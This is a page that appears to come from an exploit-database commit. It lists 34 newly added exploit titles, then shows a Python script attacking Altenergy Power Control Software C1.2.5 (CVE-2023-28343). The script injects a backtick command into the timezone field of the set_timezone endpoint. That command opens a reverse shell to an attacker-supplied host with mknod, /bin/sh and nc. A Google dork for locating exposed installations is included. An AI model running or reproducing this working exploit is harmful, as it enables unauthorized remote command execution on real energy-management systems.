85954a8fad
34 changes to exploits/shellcodes/ghdb ENTAB ERP 1.0 - Username PII leak ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) ZCBS/ZBBS/ZPBS v4.14k - Reflected Cross-Site Scripting (XSS) FortiRecorder 6.4.3 - Denial of Service Schneider Electric v1.0 - Directory traversal & Broken Authentication Altenergy Power Control Software C1.2.5 - OS command injection Goanywhere Encryption helper 7.1.1 - Remote Code Execution (RCE) Pentaho BA Server EE 9.3.0.0-428 - Remote Code Execution (RCE) (Unauthenticated) Google Chrome 109.0.5414.74 - Code Execution via missing lib file (Ubuntu) Lucee Scheduled Job v1.0 - Command Execution Microsoft Excel 365 MSO (Version 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution (RCE) Adobe Connect 11.4.5 - Local File Disclosure Palo Alto Cortex XSOAR 6.5.0 - Stored Cross-Site Scripting (XSS) Suprema BioStar 2 v2.8.16 - SQL Injection Symantec Messaging Gateway 10.7.4 - Stored Cross-Site Scripting (XSS) dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated) GLPI v10.0.1 - Unauthenticated Sensitive Data Exposure Icinga Web 2.10 - Arbitrary File Disclosure Joomla! v4.2.8 - Unauthenticated information disclosure Medicine Tracker System v1.0 - Sql Injection Online Appointment System V1.0 - Cross-Site Scripting (XSS) Online-Pizza-Ordering -1.0 - Remote Code Execution (RCE) pfsenseCE v2.6.0 - Anti-brute force protection bypass Restaurant Management System 1.0 - SQL Injection WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS) X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated) X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated) Microsoft Windows 11 - 'cmd.exe' Denial of Service ActFax 10.10 - Unquoted Path Services ESET Service 16.0.26.0 - 'Service ekrn' Unquoted Service Path RSA NetWitness Platform 12.2 - Incorrect Access Control / Code Execution Stonesoft VPN Client 6.2.0 / 6.8.0 - Local Privilege Escalation
53 lines
No EOL
1.8 KiB
Python
Executable file
53 lines
No EOL
1.8 KiB
Python
Executable file
# Exploit Title: Altenergy Power Control Software C1.2.5 - OS command injection
|
|
# Google Dork: intitle:"Altenergy Power Control Software"
|
|
# Date: 15/3/2023
|
|
# Exploit Author: Ahmed Alroky
|
|
# Vendor Homepage: https://apsystems.com/
|
|
# Version: C1.2.5
|
|
# Tested on: Windows 10
|
|
# CVE : CVE-2023-28343
|
|
|
|
|
|
import requests
|
|
import argparse
|
|
|
|
def exploit(target,attacker,port):
|
|
url = f'{target}/index.php/management/set_timezone'
|
|
|
|
headers = {
|
|
'Accept': 'application/json, text/javascript, */*; q=0.01',
|
|
'X-Requested-With': 'XMLHttpRequest',
|
|
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
|
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
|
|
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
|
|
'Origin': f'{target}',
|
|
'Referer': f'{target}/index.php/management/datetime',
|
|
'Accept-Encoding': 'gzip, deflate',
|
|
'Accept-Language': 'en-US,en;q=0.9',
|
|
'Connection': 'close'
|
|
}
|
|
|
|
print(f"Sending Request")
|
|
data = {
|
|
'timezone': f'`mknod /tmp/pipe p;/bin/sh 0</tmp/pipe | nc
|
|
{attacker} {port} 1>/tmp/pipe`'
|
|
}
|
|
|
|
response = requests.post(url, headers=headers, data=data)
|
|
# print(response.text)
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser(description='Parse target, attacker,
|
|
and port.',)
|
|
|
|
parser.add_argument('--target','-t', type=str, help='The target IP
|
|
address or hostname. example : http://192.168.254')
|
|
parser.add_argument('--attacker','-a', type=str, help='The attacker IP
|
|
address or hostname.')
|
|
parser.add_argument('--port', '-p',type=int, help='Listening port')
|
|
|
|
args = parser.parse_args()
|
|
try:
|
|
exploit(args.target,args.attacker,args.port)
|
|
except:
|
|
parser.print_help()
|
|
print("Exploit done") |